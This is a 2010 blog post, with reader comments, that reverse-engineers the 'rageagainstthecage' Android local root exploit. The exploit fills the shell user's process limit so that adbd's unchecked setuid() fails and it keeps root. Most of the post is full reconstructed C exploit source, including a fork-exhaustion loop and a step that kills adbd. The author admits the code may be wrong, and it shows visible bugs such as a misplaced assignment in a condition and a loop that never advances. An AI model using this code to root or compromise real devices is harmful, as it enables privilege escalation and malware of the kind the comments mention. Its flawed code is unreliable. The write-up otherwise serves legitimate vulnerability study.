Reversing Latest Exploid Release

August 25, 2010

Sebastian Krahmer has released another awesome Android exploit last weekend. This man has slaughtered Android to death in the past month! The lastest exploit is a local root privilege escalation, or rather, lack of a successful drop in privilege. August 21st, he released a binary called rageagainstthecage-arm5.bin with no source. Stating in the readme that it was exploiting the lack of a check on the retval of setuid() inside adb. I was curious exactly how this exploit worked, so I got to work reversing it to have a better understanding of what it was doing. I was able to reverse it all back into C within a few hours. Turned out to be a pretty cool class of exploit that I wasn’t aware existed.

It takes advantage of RLIMIT_NPROC max, which is a value that defines how many processes a given UID can have running. This exploit forks off processes until fork() starts failing, indicating that the max number of processes for the given UID has been reached. It uses a pipe to signal to the original parent process of the exploit that it can now kill adbd, causing it to restart. When adbd restarts, it runs as root. After some initialization, it will then drop it privileges to run as the ‘shell’ user.

/* don't listen on a port (default 5037) if running in secure mode */
/* don't run as root if we are running in secure mode */
if (secure) {
    ...
    /* then switch user and group to "shell" */
    setuid(AID_SHELL);
    setgid(AID_SHELL);

Normally in this situation, setuid() would decrement the count of root user processes, and increment the number of shell user processes. But since shell’s process count is at its max, setuid() will fail. Since there is no check on the success of the setuid() call, the process will continue running as the root user. When you reconnect running the command `adb -d shell`, you will have a root shell instead. Very clever! A situation I was not aware of regarding setuid and process slot limits. Anyway, here is the reversed source code until he posts the source for the exploit. (grab the binary from Sebastian’s post)


/*
 * Reversed from rageagainstthecage-arm5.bin release by Sebastian Krahmer/743C
 * Local root exploit for Android
 * Anthony Lineberry
 *
 * This exploit will fork off proccesseses (as shell user) until the RLIMIT_NPROC max is
 * hit. At that point fork() will start failing. At this point the original parent
 * process will kill the adb process, causing it to restart. When adb starts, it
 * runs as root, and then drops its privs with setuid():
 *
 *  <snip>
 *   /* don't listen on a port (default 5037) if running in secure mode */
 *   /* don't run as root if we are running in secure mode */
 *   if (secure) {
 *
 *       ...
 *
 *       /* then switch user and group to "shell" */
 *       setgid(AID_SHELL);
 *       setuid(AID_SHELL);
 *  </snip>
 *
 * setuid() will decrement the root process count, and increment the shell user
 * proccess count. Since the shell user has hit the RLIMIT_NPROC max, this will
 * cause setuid() to fail. Since the adb code above doesn't check the retval of
 * setuid(), adb will still be running as root.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <errno.h>

void die(char *s) {
  perror(s);
  exit(errno);
}

pid_t get_adb(void) {
  char path[256];
  pid_t pid = 0;
  int fd;

  while(pid < 32000) {
    sprintf(path, "/proc/%d/cmdline", pid);
    if(fd = open(path, O_RDONLY) < 0) {
      continue;
    }
    memset(path, 0, sizeof(path));

    read(fd, path, sizeof(path)-1);
    close(fd);

    if(strstr(path, "/sbin/adb") != 0) {
      return pid;
    }

    pid++;
  }
  return 0;
}

void kill_adb(pid_t pid) {
  while(1) {
    pid_t adb_pid = get_adb();
    if(adb_pid == pid || adb_pid == 0) {
      sleep(1);
      continue;
    }
    sleep(5);
    kill(-1, SIGKILL);
  }
}

int main() {
  struct rlimit s_rlimit = {0};
  pid_t adb_pid;
  pid_t pid;
  pid_t pid2;
  char num_children = 0;
  int fd;
  int pfd[2];

  puts("[*] CVE-2010-EASY Android local root exploit (C) 743C");
  puts("[*] Checking NPROC limit ...");

  if(getrlimit(RLIMIT_NPROC, &s_rlimit) < 0) {
    die("[-] getrlimit");
  }

  if(s_rlimit.rlim_max == -1) {
    puts("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting");
    exit(1);
  }

  printf("[+] RLIMIT_NPROC={%lu, %lu}\n", s_rlimit.rlim_cur, s_rlimit.rlim_max);
  puts("[*] Searching for adb ...");

  if((adb_pid = get_adb()) == 0) {
    die("[-] Cannot find adb");
  }

  printf("[+] Found adb as PID %d\n", adb_pid);

  puts("[*] Spawning childing. Dont type anything and wait for reset!");
  // Donantion stuff goes here
  puts("[*]\n[*] adb connection will be reset. restart adb server on desktop.");

  sleep(5);

  // Fork processes, kill parent, and make sure child gets its own session ID
  if(fork() > 0) {
    exit(0);
  }
  setsid();

  pipe(pfd);
  pid = fork();
  if(pid != 0) { /* parent */
    // close write pipe
    close(pfd[1]);

    // blocks on pipe read until max proccesses have be forked
    read(pfd[0], &num_children, 1);
    kill(adb_pid, SIGKILL);
    if(fork() != 0) {
      /* parent kills adb? */
      kill_adb(adb_pid);
    }

    fork();
    while(1) {
      sleep(0x743C);
    }
  } else {             /* child */
    // close read pipe
    close(pfd[0]);

    // fork till we can fork no more, exit children
    int write_to_pipe = 1;
    while(1) {
      // fork till we hit the RLIMIT_NOPROC max and fail
      if((pid2 = fork()) >= 0) {
        if(pid2 == 0) {
          exit(0);
        }
        num_children++;
      }

      // This will unblock the parents pipe read so that it can now kill adbd
      if(write_to_pipe) {
        printf("\n[+] Forked %d childs.\n", num_children);
        write(pfd[1], &num_children, sizeof(num_children));
        close(pfd[1]);
      }
      write_to_pipe = 0;
      // after this we just keep on forking again...
    }
  }
}

Update: Bug was patched here http://android.git.kernel.org/?p=platform/system/core.git;a=commit;h=2ad6067ce491446ab22f59a363d36575a942f5c7 (Thanks Nick Kralevich!)

About these ads

15 Responses to “Reversing Latest Exploid Release”

  1. BitterBastard said

    Hi,
    Just stumbled on this as I was poking around trying to figure out how the sdx exploit worked. Cool writeup! One question: how are you running the exploit? What I mean is, the android security model means each app has its own uid, that no other app shares. So how does this exploit steal uids from adb (AID-SHELL) unless its running inside adb? And if it is running in adb, how does it restart adb while continuing to run?

    Thanks again for the cool RE writeup

    • Anthony said

      The process limit is per uid. Since the exploit is launched inside the shell, it will also run as the user AID-SHELL and max out the number of processes that the user AID-SHELL is allowed to run.

      -Anthony

  2. […] the analysis from http://dtors.org/2010/08/25/reversing-latest-exploid-release/ of the SuperOneClick exploit, I’ve produced a simpler program that seems to be more […]

  3. zuk said

    Very nice post…!

  4. Isaac356 said

    Hi, I stumbled across this recently (with the actual source from here: http://stealth.openwall.net/xSports/RageAgainstTheCage.tgz), and there’s been one thing I can’t quite wrap my head around: the “if(pid2 == 0) exit(0);” part. To me, it seems that it should be forking a process that exits immediately, but that would mean that RLIMIT_NPROC would never be reached since the processes are continuously exiting. I’m obviously interpreting this wrong (because it does work), so if you would be kind enough to point me in the right direction, I’d really appreciate it.

    • Anthony said

      I hope this code is correct, when I had done this the source hadn’t been released yet. I believe it works because the process still exists in a zombie state after it exits. Zombie processes still count towards the RLIMIT_NPROC max. Essentially you fill the proc limit with zombie processes before they can be reaped.

      • Isaac356 said

        Yup, that’s exactly why. I had to do a little research, but I finally figured that out. (The processes still exist so the parent can read their exit codes.)

        Anyways, that totally helps, because making that many processes that sleep will lag the phone :) (Guess how I figured that out…)

  5. […] corresponds to this local root exploit, and it is tried in case rageagainstthecage does not work. The idea behind rageagainstthecage create many processes, reach the maximum limit of […]

  6. […] corresponds to this local root exploit, and it is tried in case rageagainstthecage does not work. The idea behind rageagainstthecage create many processes, reach the maximum limit of […]

  7. […] by Reddit user lompolo, the apps use an exploit known as “rageagainstthecage” which was discovered in August (very technical breakdown) to create the DroidDream.a […]

  8. […] user lompolo, the apps use an exploit known as “rageagainstthecage” which was discovered in August (very technical breakdown) to create the DroidDream-a malware. Google has acknowledged the issue of […]

  9. […] gain root access. Please read the below description (taken from the blog post by Anthony Lineberry: Reversing Latest Exploid  Release) It takes advantage of RLIMIT_NPROC max, which is a value that defines how many processes a given […]

  10. […] though it will do nothing long term. A payload that doesn’t still contain the strings of the root exploit that waits a few weeks to run, will go […]

  11. Shakz Ali said

    Hi, i’m doing research on android Malwares, does anybody have any idea if there are any Metasploit exploits for android OS?

  12. […] rooting (no pc required) – Droid Forum – Verizon Droid & the Motorola Droid ForumReversing Latest Exploid Release « .dtorsRooting the Droid without rsd lite up to and including FRG83D – Android […]

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

%d bloggers like this: